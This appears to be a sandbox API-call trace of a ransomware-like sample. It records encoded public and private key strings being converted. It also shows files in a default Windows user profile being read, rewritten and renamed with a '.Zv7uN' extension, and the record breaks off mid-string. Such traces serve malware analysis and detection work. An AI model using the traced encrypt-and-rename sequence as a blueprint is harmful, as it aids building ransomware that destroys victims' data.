lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.298] GetCurrentThreadId () returned 0xa30 [0126.298] GetCurrentThreadId () returned 0xa30 [0126.298] GetCurrentThreadId () returned 0xa30 [0126.298] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.298] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.298] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.298] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.298] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.298] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.301] CloseHandle (hObject=0x1e8) returned 1 [0126.301] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.303] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.305] CloseHandle (hObject=0x1e8) returned 1 [0126.305] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.zv7un")) returned 1 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] GetCurrentThreadId () returned 0xa30 [0126.306] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0126.306] GetLastError () returned 0x12 [0126.306] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.307] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5ff10820, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5ff10820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0126.307] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0126.307] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.307] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5ff10820, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5ff10820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.307] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.307] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.307] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fe9e400, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Get Windows Live.url.Zv7uN", cAlternateFileName="GETWIN~1.ZV7")) returned 1 [0126.307] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.307] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.307] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fec4560, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Gallery.url.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0126.307] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.307] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.307] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5feea6c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Mail.url.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0126.308] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.308] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.308] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5ff10820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Spaces.url.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 1 [0126.308] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.308] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.308] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5ff10820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Spaces.url.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 0 [0126.308] GetLastError () returned 0x12 [0126.308] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.308] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0126.308] GetLastError () returned 0x12 [0126.308] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0126.308] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0126.309] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.309] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.309] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0126.373] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0126.373] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.373] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0126.373] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.373] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0126.373] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.373] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1 [0126.373] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk")) returned 0x20 [0126.374] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk", dwFileAttributes=0x80) returned 1 [0126.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkw